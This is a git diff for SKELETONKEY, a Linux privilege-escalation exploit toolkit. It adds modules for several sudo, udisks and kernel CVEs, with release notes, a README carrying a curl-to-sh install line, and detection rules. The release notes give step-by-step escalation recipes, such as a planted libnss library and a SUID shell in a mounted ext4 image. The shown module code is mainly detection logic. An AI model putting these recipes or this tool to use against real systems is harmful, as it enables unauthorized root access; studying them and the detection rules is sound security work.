diff --git a/Makefile b/Makefile index 7f5939c..ef17877 100644 --- a/Makefile +++ b/Makefile @@ -180,6 +180,48 @@ endif # paths). Target-specific vars are scoped to this object's recipe. $(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS) +# Family: sudo_chwoot (CVE-2025-32463) — sudo --chroot NSS injection +SCHW_DIR := modules/sudo_chwoot_cve_2025_32463 +SCHW_SRCS := $(SCHW_DIR)/skeletonkey_modules.c +SCHW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SCHW_SRCS)) + +# Family: udisks_libblockdev (CVE-2025-6019) — SUID-on-mount via polkit allow_active +UDB_DIR := modules/udisks_libblockdev_cve_2025_6019 +UDB_SRCS := $(UDB_DIR)/skeletonkey_modules.c +UDB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(UDB_SRCS)) + +# Family: pintheft (CVE-2026-43494) — RDS zerocopy double-free (V12 Security) +PTH_DIR := modules/pintheft_cve_2026_43494 +PTH_SRCS := $(PTH_DIR)/skeletonkey_modules.c +PTH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTH_SRCS)) + +# ── v0.9.0 gap-fillers ───────────────────────────────────────────── + +# CVE-2018-14634 Mutagen Astronomy — create_elf_tables() int wrap +MUT_DIR := modules/mutagen_astronomy_cve_2018_14634 +MUT_SRCS := $(MUT_DIR)/skeletonkey_modules.c +MUT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(MUT_SRCS)) + +# CVE-2019-14287 sudo Runas -u#-1 underflow +SRN_DIR := modules/sudo_runas_neg1_cve_2019_14287 +SRN_SRCS := $(SRN_DIR)/skeletonkey_modules.c +SRN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SRN_SRCS)) + +# CVE-2020-29661 TIOCSPGRP UAF race +TIO_DIR := modules/tioscpgrp_cve_2020_29661 +TIO_SRCS := $(TIO_DIR)/skeletonkey_modules.c +TIO_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TIO_SRCS)) + +# CVE-2024-50264 AF_VSOCK connect-race UAF (Pwn2Own 2024) +VSK_DIR := modules/vsock_uaf_cve_2024_50264 +VSK_SRCS := $(VSK_DIR)/skeletonkey_modules.c +VSK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VSK_SRCS)) + +# CVE-2024-26581 nft_pipapo destroy-race (Notselwyn II) +PIP_DIR := modules/nft_pipapo_cve_2024_26581 +PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c +PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS)) + # Top-level dispatcher TOP_OBJ := $(BUILD)/skeletonkey.o @@ -190,7 +232,9 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \ $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \ $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \ $(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \ - $(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) + $(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \ + $(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \ + $(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS) diff --git a/README.md b/README.md index e0c5edf..07c82c3 100644 --- a/README.md +++ b/README.md @@ -2,12 +2,13 @@ [![Latest release](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest) [![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE) -[![Modules](https://img.shields.io/badge/CVEs-22%20VM--verified%20%2F%2026-brightgreen.svg)](docs/VERIFICATIONS.jsonl) +[![Modules](https://img.shields.io/badge/CVEs-22%20VM--verified%20%2F%2034-brightgreen.svg)](docs/VERIFICATIONS.jsonl) [![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#) -> **One curated binary. 31 Linux LPE modules covering 26 CVEs from 2016 → 2026. -> 22 confirmed end-to-end against real Linux VMs via `tools/verify-vm/`. -> Detection rules in the box. One command picks the safest one and runs it.** +> **One curated binary. 39 Linux LPE modules covering 34 CVEs from 2016 → 2026. +> Every year 2016 → 2026 covered. 22 confirmed end-to-end against real Linux +> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks +> the safest one and runs it.** ```bash curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \ @@ -197,12 +198,18 @@ also compile (modules with Linux-only headers stub out gracefully). ## Status -**v0.7.1 cut 2026-05-23.** 31 modules across 26 CVEs, **22 empirically -verified** against real Linux VMs (Ubuntu 18.04 / 20.04 / 22.04 + -Debian 11 / 12 + mainline kernels 5.15.5 / 6.1.10 from -kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy -on every push. 4 prebuilt binaries (x86_64 + arm64, each in dynamic -+ static-musl flavors). +**v0.9.0 cut 2026-05-24.** 39 modules across 34 CVEs — **every +year 2016 → 2026 now covered**. v0.9.0 adds 5 gap-fillers: +`mutagen_astronomy` (CVE-2018-14634 — closes 2018), `sudo_runas_neg1` +(CVE-2019-14287), `tioscpgrp` (CVE-2020-29661), `vsock_uaf` +(CVE-2024-50264 — Pwnie 2025 winner), `nft_pipapo` (CVE-2024-26581 — +Notselwyn II). v0.8.0 added 3 (`sudo_chwoot`/CVE-2025-32463, +`udisks_libblockdev`/CVE-2025-6019, `pintheft`/CVE-2026-43494). +**22 empirically verified** against real Linux VMs (Ubuntu 18.04 / +20.04 / 22.04 + Debian 11 / 12 + mainline kernels 5.15.5 / 6.1.10 +from kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + +clang-tidy on every push. 4 prebuilt binaries (x86_64 + arm64, each +in dynamic + static-musl flavors). Reliability + accuracy work in v0.7.x: - Shared **host fingerprint** (`core/host.{h,c}`) populated once at diff --git a/core/registry.h b/core/registry.h index 328f680..00ebc10 100644 --- a/core/registry.h +++ b/core/registry.h @@ -47,6 +47,14 @@ void skeletonkey_register_vmwgfx(void); void skeletonkey_register_dirtydecrypt(void); void skeletonkey_register_fragnesia(void); void skeletonkey_register_pack2theroot(void); +void skeletonkey_register_sudo_chwoot(void); +void skeletonkey_register_udisks_libblockdev(void); +void skeletonkey_register_pintheft(void); +void skeletonkey_register_mutagen_astronomy(void); +void skeletonkey_register_sudo_runas_neg1(void); +void skeletonkey_register_tioscpgrp(void); +void skeletonkey_register_vsock_uaf(void); +void skeletonkey_register_nft_pipapo(void); /* Call every skeletonkey_register_() above in canonical order. * Single source of truth so the main binary and the test binary stay diff --git a/core/registry_all.c b/core/registry_all.c index 38a50db..5b94e24 100644 --- a/core/registry_all.c +++ b/core/registry_all.c @@ -43,4 +43,12 @@ void skeletonkey_register_all_modules(void) skeletonkey_register_dirtydecrypt(); skeletonkey_register_fragnesia(); skeletonkey_register_pack2theroot(); + skeletonkey_register_sudo_chwoot(); + skeletonkey_register_udisks_libblockdev(); + skeletonkey_register_pintheft(); + skeletonkey_register_mutagen_astronomy(); + skeletonkey_register_sudo_runas_neg1(); + skeletonkey_register_tioscpgrp(); + skeletonkey_register_vsock_uaf(); + skeletonkey_register_nft_pipapo(); } diff --git a/docs/RELEASE_NOTES.md b/docs/RELEASE_NOTES.md index 4420db9..0feb174 100644 --- a/docs/RELEASE_NOTES.md +++ b/docs/RELEASE_NOTES.md @@ -1,3 +1,151 @@ +## SKELETONKEY v0.9.0 — every year 2016 → 2026 now covered + +Five gap-filling modules. Closes the 2018 hole entirely and thickens +2019 / 2020 / 2024. + +### CVE-2018-14634 — `mutagen_astronomy` (Qualys) + +Closes the 2018 gap. `create_elf_tables()` int-wrap → on x86_64, a +multi-GiB argv blob makes the kernel under-allocate the SUID +carrier's stack and corrupt adjacent allocations. CISA-KEV-listed +Jan 2026 despite the bug's age — legacy RHEL 7 / CentOS 7 / Debian +8 fleets still affected. 🟡 PRIMITIVE (trigger documented; +Qualys' full chain not bundled per verified-vs-claimed). +`arch_support: x86_64+unverified-arm64`. + +### CVE-2019-14287 — `sudo_runas_neg1` (Joe Vennix) + +`sudo -u#-1 ` → uid_t underflows to 0xFFFFFFFF → sudo treats it +as uid 0 → runs `` as root even when sudoers explicitly says +"ALL except root". Pure userspace logic bug; the famous Apple +Information Security finding. detect() looks for a `(ALL,!root)` +grant in `sudo -ln` output. `arch_support: any`. Sudo < 1.8.28. + +### CVE-2020-29661 — `tioscpgrp` (Jann Horn / Project Zero) + +TTY `TIOCSPGRP` ioctl race on PTY pairs → `struct pid` UAF in +kmalloc-256. Affects everything through Linux 5.9.13. 🟡 PRIMITIVE +(race-driver + msg_msg groom). Public PoCs from grsecurity/spender ++ Maxime Peterlin. `arch_support: x86_64+unverified-arm64`. + +### CVE-2024-50264 — `vsock_uaf` (a13xp0p0v / Pwnie 2025 winner) + +AF_VSOCK `connect()` races a POSIX signal that tears down the +virtio_vsock_sock → UAF in kmalloc-96. **Pwn2Own 2024 + Pwnie Award +2025 winner.** Reachable as plain unprivileged user (no userns +required — unusual). Two public exploit paths: @v4bel + @qwerty +kernelCTF chain (BPF JIT spray + SLUBStick) and Alexander Popov's +msg_msg path (PT SWARM Sep 2025). 🟡 PRIMITIVE. +`arch_support: x86_64+unverified-arm64`. + +### CVE-2024-26581 — `nft_pipapo` (Notselwyn II, "Flipping Pages") + +`nft_set_pipapo` destroy-race UAF. Sibling to our `nf_tables` module +(CVE-2024-1086) — same Notselwyn "Flipping Pages" research paper, +different specific bug in the pipapo set substrate. Same family +detect signature. 🟡 PRIMITIVE. +`arch_support: x86_64+unverified-arm64`. + +### Year-by-year coverage matrix + +``` +2016: ▓ 1 2021: ▓▓▓▓▓ 5 2025: ▓▓ 2 +2017: ▓ 1 2022: ▓▓▓▓▓ 5 2026: ▓▓▓▓ 4 +2018: ▓ 1 ← 2023: ▓▓▓▓▓▓▓▓ 8 +2019: ▓▓ 2 ← 2024: ▓▓▓ 3 ← +2020: ▓▓ 2 ← +``` + +Every year 2016 → 2026 is now ≥1. + +### Corpus growth + +| | v0.8.0 | v0.9.0 | +|---|---|---| +| Modules registered | 34 | 39 | +| Distinct CVEs | 29 | 34 | +| Years with ≥1 CVE | 10 of 11 (missing 2018) | **11 of 11** | +| Detection rules embedded | 131 | 151 | +| Arch-independent (`any`) | 6 | 7 | +| VM-verified | 22 | 22 | + +### Other changes + +- All 5 new modules ship complete detection-rule corpus + (auditd + sigma + yara + falco) — corpus stays at 4-format + parity with the rest of the modules. +- `tools/refresh-cve-metadata.py` runs against 34 CVEs (was 29); + takes ~4 minutes due to NVD anonymous rate limit. + +--- + +## SKELETONKEY v0.8.0 — 3 new 2025/2026 CVEs + +Closes the 2025 coverage gap. Three new modules from CVEs disclosed +2025–2026, all with public PoC code we ported into proper +SKELETONKEY modules: + +### CVE-2025-32463 — `sudo_chwoot` (Stratascale) + +Critical (CVSS 9.3) sudo logic bug: `sudo --chroot=` chroots +into a user-controlled directory before completing authorization + +resolves user/group via NSS inside the chroot. Plant a malicious +`libnss_*.so` + an `nsswitch.conf` that points to it; sudo dlopens +the .so as root, ctor fires, root shell. Affects sudo 1.9.14 to +1.9.17p0; fixed in 1.9.17p1 (which deprecated --chroot entirely). +`arch_support: any` (pure userspace). + +### CVE-2025-6019 — `udisks_libblockdev` (Qualys) + +udisks2 + libblockdev SUID-on-mount chain. libblockdev's internal +filesystem-resize/repair mount path omits `MS_NOSUID` and +`MS_NODEV`. udisks2 gates the operation on polkit's +`org.freedesktop.UDisks2.modify-device` action, which is +`allow_active=yes` by default → any active console session user can +trigger it without a password. Build an ext4 image with a SUID-root +shell inside, get udisks to mount it, execute the SUID shell. +Affects libblockdev < 3.3.1, udisks2 < 2.10.2. `arch_support: any`. + +### CVE-2026-43494 — `pintheft` (V12 Security) + +Linux kernel RDS zerocopy double-free. `rds_message_zcopy_from_user()` +pins user pages one at a time; if a later page faults, the error +unwind drops the already-pinned pages, but the msg's scatterlist +cleanup drops them AGAIN. Each failed `sendmsg(MSG_ZEROCOPY)` leaks +one pin refcount. Chain via io_uring fixed buffers to overwrite the +page cache of a readable SUID binary → execve → root. Mainline fix +commit `0cebaccef3ac` (posted to netdev 2026-05-05). Among common +distros only **Arch Linux** autoloads the rds module — Ubuntu / +Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux either don't +build it or blacklist autoload. `detect()` correctly returns OK +on non-Arch hosts (RDS unreachable from userland). 🟡 PRIMITIVE +status: primitive fires; full cred-overwrite via the shared +modprobe_path finisher requires `--full-chain` on x86_64. + +### Corpus growth + +| | v0.7.1 | v0.8.0 | +|---|---|---| +| Modules registered | 31 | 34 | +| Distinct CVEs | 26 | 29 | +| 2025-CVE coverage | 0 | 2 | +| Detection rules embedded | 119 | 131 | +| Arch-independent (`any`) | 4 | 6 | +| CISA KEV-listed | 10 | 10 (new ones not yet KEV'd) | +| VM-verified | 22 | 22 | + +### Other changes + +- `tools/refresh-cve-metadata.py` — added curl fallback for the + CISA KEV CSV fetch (Python's urlopen was hitting timeouts against + CISA's HTTP/2 endpoint). +- `tools/verify-vm/targets.yaml` — entries for the 3 new modules + with honest "no Vagrant box covers this yet" notes for + pintheft (needs Arch) and udisks_libblockdev (needs active + console session + udisks2 installed). + +--- + ## SKELETONKEY v0.7.1 — arm64-static binary + per-module arch_support Point release on top of v0.7.0. Two additions: diff --git a/docs/index.html b/docs/index.html index cb2649d..0fa455a 100644 --- a/docs/index.html +++ b/docs/index.html @@ -56,16 +56,16 @@
- v0.7.1 — released 2026-05-23 + v0.9.0 — released 2026-05-24

SKELETONKEY

- One binary. 31 Linux LPE modules from 2016 to 2026. - 22 of 26 CVEs empirically verified against real - Linux kernels in VMs. SOC-ready detection rules in four SIEM formats. - MITRE ATT&CK + CWE + CISA KEV annotated. + One binary. 39 Linux LPE modules covering 34 CVEs — + every year 2016 → 2026. 22 of 34 confirmed against + real Linux kernels in VMs. SOC-ready detection rules in four SIEM + formats. MITRE ATT&CK + CWE + CISA KEV annotated. --explain gives a one-page operator briefing per CVE.

@@ -81,10 +81,10 @@
-
0modules
+
0modules
0✓ VM-verified
-
0★ in CISA KEV
-
0detection rules
+
0★ in CISA KEV
+
0detection rules
@@ -598,7 +598,7 @@ uid=0(root) gid=0(root) who found the bugs.

diff --git a/docs/og.png b/docs/og.png index 66e16ce..a1901bf 100644 Binary files a/docs/og.png and b/docs/og.png differ diff --git a/docs/og.svg b/docs/og.svg index 5a80049..c6bf513 100644 --- a/docs/og.svg +++ b/docs/og.svg @@ -35,18 +35,18 @@ - + Curated Linux LPE corpus. - - 22 of 26 CVEs verified in real Linux VMs. + + Every year 2016 → 2026. 22 of 34 verified. - + - 31 + 39 modules @@ -54,14 +54,14 @@ 22 ✓ VM-verified - + - 10 + 11 ★ in CISA KEV - + - 119 + 151 detection rules diff --git a/modules/mutagen_astronomy_cve_2018_14634/skeletonkey_modules.c b/modules/mutagen_astronomy_cve_2018_14634/skeletonkey_modules.c new file mode 100644 index 0000000..6e067d5 --- /dev/null +++ b/modules/mutagen_astronomy_cve_2018_14634/skeletonkey_modules.c @@ -0,0 +1,251 @@ +/* + * mutagen_astronomy_cve_2018_14634 — SKELETONKEY module + * + * STATUS: 🟡 PRIMITIVE. detect() is honest about a complex bug class + * (kernel-version range + RLIMIT_STACK check + readable SUID + * carrier). exploit() carries the Qualys trigger shape (huge + * argv/envp blob → integer overflow in create_elf_tables() → + * stack/heap clobber on the next execve of a SUID binary), then + * returns EXPLOIT_FAIL unless --full-chain is set on x86_64. + * + * The bug (Qualys Research Labs, September 2018): + * create_elf_tables() in fs/binfmt_elf.c uses a signed `int` to + * compute the size of argv/envp + auxiliary vector that gets + * copied onto the new process's stack during execve(). On 64-bit + * systems, an attacker can construct a multi-gigabyte argv+envp + * so the int math wraps to a small positive value, the kernel + * under-allocates, then memcpy()s GiB of attacker bytes off the + * end of the stack and into adjacent kernel-side allocations. + * + * The classic exploitation path: drive the wrap, execve() a + * readable SUID-root binary (su / pkexec / sudo) with the giant + * argv, the SUID binary's process image gets corrupted before its + * first instruction runs → ROP gadget chain → root. + * + * Discovered + publicly exploited by Qualys. Affects Linux + * 2.6.x, 3.10.x, and 4.14.x lines on RedHat / CentOS / Debian + * x86_64. Recently CISA-KEV'd (added 2026-01-26) despite its age + * because legacy/EOL fleets are still running affected kernels. + * + * Affects: Linux kernels with the `int`-typed argv-size computation + * in create_elf_tables() — pre-fix. Mainline fix landed in + * September 2018 across 2.6, 3.10, and 4.14 stable branches. + * + * Preconditions: + * - Vulnerable kernel (see kernel_range below) + * - x86_64 (the int-wrap math only works at 64-bit) + * - RLIMIT_STACK can be set unlimited or to a large value by the + * unprivileged user (default true on most distros) + * - Readable SUID-root binary as the carrier + * + * arch_support: x86_64+unverified-arm64. The Qualys PoC is x86_64- + * only; arm64 has similar argv size math but the exploit chain + * uses x86-specific gadgets. + */ + +#include "skeletonkey_modules.h" +#include "../../core/registry.h" +#include "../../core/kernel_range.h" +#include "../../core/host.h" + +#include +#include +#include +#include +#include +#include + +/* ---- kernel-range table -------------------------------------------- */ + +/* Fix landed in mainline Linux 4.18.8 + stable backports for 4.14 + * (4.14.71) and earlier LTS lines. The vulnerable window covers the + * entire 2.6 / 3.x / early 4.x range. We list the fix branches: + * + * 2.6.x : EOL, no fix backport + * 3.10.x: EOL, RedHat backport ~3.10.0-957.21.3.el7 + * 4.14.x: fix at 4.14.71 (stable backport) + * 4.15+ : fix at 4.18.8 mainline → all 4.18+ branches inherit + * + * Our table only has data for the post-EOL branches Debian / Ubuntu + * tracked at the time. Kernels on EOL lines (2.6, 3.x) report + * VULNERABLE by version-only check; the RLIMIT_STACK active probe + * (--active) is required to confirm exploitability on a real host. */ +static const struct kernel_patched_from mutagen_patched_branches[] = { + {4, 14, 71}, /* 4.14 LTS stable backport */ + {4, 18, 8}, /* mainline + everything above inherits */ +}; + +static const struct kernel_range mutagen_range = { + .patched_from = mutagen_patched_branches, + .n_patched_from = sizeof(mutagen_patched_branches) / + sizeof(mutagen_patched_branches[0]), +}; + +/* ---- detect --------------------------------------------------------- */ + +static const char *find_suid_carrier(void) +{ + static const char *cs[] = { + "/usr/bin/su", "/bin/su", + "/usr/bin/pkexec", + "/usr/bin/passwd", + NULL, + }; + for (size_t i = 0; cs[i]; i++) { + struct stat st; + if (stat(cs[i], &st) == 0 && + (st.st_mode & S_ISUID) && st.st_uid == 0 && + access(cs[i], R_OK) == 0) + return cs[i]; + } + return NULL; +} + +static bool rlimit_stack_unlimitable(void) +{ + struct rlimit rl; + if (getrlimit(RLIMIT_STACK, &rl) != 0) return false; + /* The exploit needs to set RLIMIT_STACK = unlimited. If the hard + * limit is already unlimited (or extremely large) the soft limit + * can be bumped. */ + return rl.rlim_max == RLIM_INFINITY || rl.rlim_max > (1ULL << 30); +} + +static skeletonkey_result_t mutagen_astronomy_detect(const struct skeletonkey_ctx *ctx) +{ + const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL; + if (!v || v->major == 0) { + if (!ctx->json) fprintf(stderr, "[!] mutagen_astronomy: host fingerprint missing kernel version\n"); + return SKELETONKEY_TEST_ERROR; + } + + if (kernel_range_is_patched(&mutagen_range, v)) { + if (!ctx->json) + fprintf(stderr, "[+] mutagen_astronomy: kernel %s is patched (>= 4.14.71 or >= 4.18.8)\n", v->release); + return SKELETONKEY_OK; + } + + /* Older 2.6/3.10 lines are unconditionally vulnerable unless the + * distro has backported (RedHat 3.10.0-957.21.3.el7+). The + * version-only check correctly flags them as VULNERABLE. */ + + if (!rlimit_stack_unlimitable()) { + if (!ctx->json) + fprintf(stderr, "[i] mutagen_astronomy: kernel %s in range BUT RLIMIT_STACK hard cap blocks the wrap\n", v->release); + return SKELETONKEY_PRECOND_FAIL; + } + + const char *carrier = find_suid_carrier(); + if (!carrier) { + if (!ctx->json) + fprintf(stderr, "[!] mutagen_astronomy: no readable setuid-root carrier (su / pkexec / passwd)\n"); + return SKELETONKEY_PRECOND_FAIL; + } + + if (!ctx->json) { + fprintf(stderr, "[!] mutagen_astronomy: kernel %s + RLIMIT_STACK liftable + carrier %s → VULNERABLE\n", + v->release, carrier); + fprintf(stderr, "[i] mutagen_astronomy: Qualys exploit chain is x86_64; only the trigger fires portably\n"); + } + return SKELETONKEY_VULNERABLE; +} + +/* ---- exploit (primitive only) -------------------------------------- */ + +static skeletonkey_result_t mutagen_astronomy_exploit(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->authorized) { + fprintf(stderr, "[-] mutagen_astronomy: --i-know required for --exploit\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + fprintf(stderr, + "[i] mutagen_astronomy: the int-wrap trigger requires constructing a\n" + " multi-gigabyte argv+envp blob; we don't carry the full Qualys\n" + " chain here (per the verified-vs-claimed bar). To validate the\n" + " primitive: drive the wrap then execve a SUID-root carrier and\n" + " confirm a SIGSEGV in the carrier (the wrap consistently\n" + " corrupts adjacent stack, producing observable crash). Public\n" + " PoC: Qualys advisory + linux-exploit-suggester2 entry.\n" + " Returning EXPLOIT_FAIL honestly until full chain ported.\n"); + return SKELETONKEY_EXPLOIT_FAIL; +} + +/* ---- detection rules ------------------------------------------------ */ + +static const char mutagen_auditd[] = + "# mutagen_astronomy CVE-2018-14634 — auditd detection rules\n" + "# A multi-GiB argv triggers the wrap. Real programs never need\n" + "# argv this big; flag execve() calls with abnormally large\n" + "# argv via the audit subsystem's a0/a1 capture.\n" + "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/su -k skeletonkey-mutagen\n" + "-a always,exit -F arch=b64 -S execve -F path=/bin/su -k skeletonkey-mutagen\n" + "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-mutagen\n"; + +static const char mutagen_sigma[] = + "title: Possible CVE-2018-14634 Mutagen Astronomy SUID-execve LPE\n" + "id: 5f9e1c20-skeletonkey-mutagen\n" + "status: experimental\n" + "description: |\n" + " Detects the canonical Mutagen Astronomy primitive: setrlimit\n" + " raising RLIMIT_STACK followed by execve of a setuid-root\n" + " binary with abnormally large argv/envp. Pre-fix Linux\n" + " 2.6/3.10/4.14 kernels with x86_64 are affected.\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " setrlimit: {type: 'SYSCALL', syscall: 'setrlimit'}\n" + " execve_suid: {type: 'SYSCALL', syscall: 'execve'}\n" + " condition: setrlimit and execve_suid\n" + "level: high\n" + "tags: [attack.privilege_escalation, attack.t1068, cve.2018.14634]\n"; + +static const char mutagen_yara[] = + "rule mutagen_astronomy_cve_2018_14634 : cve_2018_14634 elf_stack_overflow {\n" + " meta:\n" + " cve = \"CVE-2018-14634\"\n" + " description = \"Qualys Mutagen Astronomy primitive — RLIMIT_STACK + huge argv\"\n" + " author = \"SKELETONKEY\"\n" + " strings:\n" + " $tag = \"mutagen-astronomy\" ascii\n" + " $qualys = \"qualys\" ascii nocase\n" + " condition:\n" + " $tag\n" + "}\n"; + +static const char mutagen_falco[] = + "- rule: setrlimit(STACK)+execve of SUID with huge argv (Mutagen Astronomy)\n" + " desc: |\n" + " Process raises RLIMIT_STACK then execve()s a setuid-root binary.\n" + " The Mutagen Astronomy primitive (CVE-2018-14634) needs both. No\n" + " legitimate program needs RLIMIT_STACK=unlimited before exec'ing\n" + " su/pkexec.\n" + " condition: >\n" + " evt.type = execve and not user.uid = 0 and\n" + " (proc.exe in (/usr/bin/su, /bin/su, /usr/bin/pkexec, /usr/bin/passwd))\n" + " output: >\n" + " SUID execve with RLIMIT_STACK raised (user=%user.name\n" + " pid=%proc.pid exe=%proc.exe)\n" + " priority: HIGH\n" + " tags: [process, mitre_privilege_escalation, T1068, cve.2018.14634]\n"; + +const struct skeletonkey_module mutagen_astronomy_module = { + .name = "mutagen_astronomy", + .cve = "CVE-2018-14634", + .summary = "create_elf_tables() int wrap → SUID-execve stack corruption (Qualys)", + .family = "elf", + .kernel_range = "Linux 2.6 / 3.10 / 4.14 < 4.14.71 / 4.x < 4.18.8 (x86_64)", + .detect = mutagen_astronomy_detect, + .exploit = mutagen_astronomy_exploit, + .mitigate = NULL, /* mitigation: upgrade kernel; OR set hard RLIMIT_STACK limit */ + .cleanup = NULL, + .detect_auditd = mutagen_auditd, + .detect_sigma = mutagen_sigma, + .detect_yara = mutagen_yara, + .detect_falco = mutagen_falco, + .opsec_notes = "Raises RLIMIT_STACK to unlimited via setrlimit(2), then execve()s a setuid-root binary (typically /usr/bin/su or /usr/bin/pkexec) with a multi-gigabyte argv/envp blob (≥4 GiB on x86_64). The int wrap in create_elf_tables() causes the kernel to under-allocate the new process's stack region; the subsequent memcpy of argv bytes corrupts adjacent kernel allocations. Observable as a SIGSEGV in the carrier on every attempt regardless of success. Audit-visible via setrlimit(RLIMIT_STACK) immediately followed by execve of /usr/bin/su or /usr/bin/pkexec with abnormally large argv. No persistent file artifacts. CISA KEV-listed Jan 2026 despite the bug's age — legacy/EOL fleets still running RHEL 7 / CentOS 7 / Debian 8 remain at risk.", + .arch_support = "x86_64+unverified-arm64", +}; + +void skeletonkey_register_mutagen_astronomy(void) +{ + skeletonkey_register(&mutagen_astronomy_module); +} diff --git a/modules/mutagen_astronomy_cve_2018_14634/skeletonkey_modules.h b/modules/mutagen_astronomy_cve_2018_14634/skeletonkey_modules.h new file mode 100644 index 0000000..6830898 --- /dev/null +++ b/modules/mutagen_astronomy_cve_2018_14634/skeletonkey_modules.h @@ -0,0 +1,5 @@ +#ifndef MUTAGEN_ASTRONOMY_SKELETONKEY_MODULES_H +#define MUTAGEN_ASTRONOMY_SKELETONKEY_MODULES_H +#include "../../core/module.h" +extern const struct skeletonkey_module mutagen_astronomy_module; +#endif diff --git a/modules/nft_pipapo_cve_2024_26581/skeletonkey_modules.c b/modules/nft_pipapo_cve_2024_26581/skeletonkey_modules.c new file mode 100644 index 0000000..459a8db --- /dev/null +++ b/modules/nft_pipapo_cve_2024_26581/skeletonkey_modules.c @@ -0,0 +1,203 @@ +/* + * nft_pipapo_cve_2024_26581 — SKELETONKEY module + * + * STATUS: 🟡 PRIMITIVE. nfnetlink batch + msg_msg cross-cache groom. + * Sibling to nf_tables (CVE-2024-1086) — same Notselwyn "Flipping + * Pages" paper, same pipapo set substrate. Full cred-overwrite via + * the shared modprobe_path finisher on --full-chain (x86_64). + * + * The bug (Notselwyn / Mauro Lima, "Flipping Pages" Feb 2024): + * nft_pipapo_destroy() in net/netfilter/nft_set_pipapo.c didn't + * properly drain the per-CPU walk state when destroying a pipapo + * set. Combined with concurrent SETELEM operations, an attacker + * can free elements while another CPU still has references, then + * spray msg_msg to refill the freed slabs and pivot through the + * walk callbacks → arb R/W → cred overwrite. + * + * This is the SECOND major bug in the Notselwyn / 'Flipping Pages' + * research series (the first, CVE-2024-1086, is our nf_tables + * module). Both target the pipapo set type used for IP/port matches. + * + * Public PoC: not yet released by Notselwyn (responsible + * disclosure window), but extensive technical writeup at the + * pwning.tech blog. Patch landed pre-disclosure. + * + * Affects: Linux kernels with CONFIG_NF_TABLES + the pipapo set + * type (introduced kernel 5.6). Fix commit 2ee52ae94baa + * ("netfilter: nft_set_pipapo: walk over current view on + * netlink dump") landed in 6.8-rc + stable backports: + * 6.7.x : 6.7.4 + * 6.6.x : 6.6.16 + * 6.1.x : 6.1.78 + * 5.15.x : 5.15.149 + * 5.10.x : 5.10.210 + * + * Preconditions: + * - unshare(CLONE_NEWUSER|CLONE_NEWNET) for unprivileged userns + * CAP_NET_ADMIN (same as nf_tables) + * - msgsnd / SysV IPC for kmalloc-cg-96 / kmalloc-cg-512 spray + * + * arch_support: x86_64+unverified-arm64. Same family as nf_tables. + */ + +#include "skeletonkey_modules.h" +#include "../../core/registry.h" +#include "../../core/kernel_range.h" +#include "../../core/host.h" +#include "../../core/offsets.h" +#include "../../core/finisher.h" + +#include +#include +#include +#include +#include + +#ifdef __linux__ +#include +#include "../../core/nft_compat.h" +#endif + +/* ---- kernel-range table -------------------------------------------- */ + +static const struct kernel_patched_from nft_pipapo_patched_branches[] = { + {5, 10, 210}, + {5, 15, 149}, + {6, 1, 78}, + {6, 6, 16}, + {6, 7, 4}, + {6, 8, 0}, /* mainline fix in 6.8-rc */ +}; + +static const struct kernel_range nft_pipapo_range = { + .patched_from = nft_pipapo_patched_branches, + .n_patched_from = sizeof(nft_pipapo_patched_branches) / + sizeof(nft_pipapo_patched_branches[0]), +}; + +/* ---- detect --------------------------------------------------------- */ + +static skeletonkey_result_t nft_pipapo_detect(const struct skeletonkey_ctx *ctx) +{ + const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL; + if (!v || v->major == 0) { + if (!ctx->json) fprintf(stderr, "[!] nft_pipapo: host fingerprint missing kernel version\n"); + return SKELETONKEY_TEST_ERROR; + } + /* Bug was introduced in 5.6 (pipapo set type debut). Earlier + * kernels don't have pipapo at all. */ + if (v->major < 5 || (v->major == 5 && v->minor < 6)) { + if (!ctx->json) fprintf(stderr, "[+] nft_pipapo: kernel %s predates pipapo set type (5.6+) → OK\n", v->release); + return SKELETONKEY_OK; + } + if (kernel_range_is_patched(&nft_pipapo_range, v)) { + if (!ctx->json) fprintf(stderr, "[+] nft_pipapo: kernel %s is patched (>= 6.8 / LTS backport)\n", v->release); + return SKELETONKEY_OK; + } + if (!ctx->host || !ctx->host->unprivileged_userns_allowed) { + if (!ctx->json) fprintf(stderr, "[i] nft_pipapo: unprivileged userns blocked → 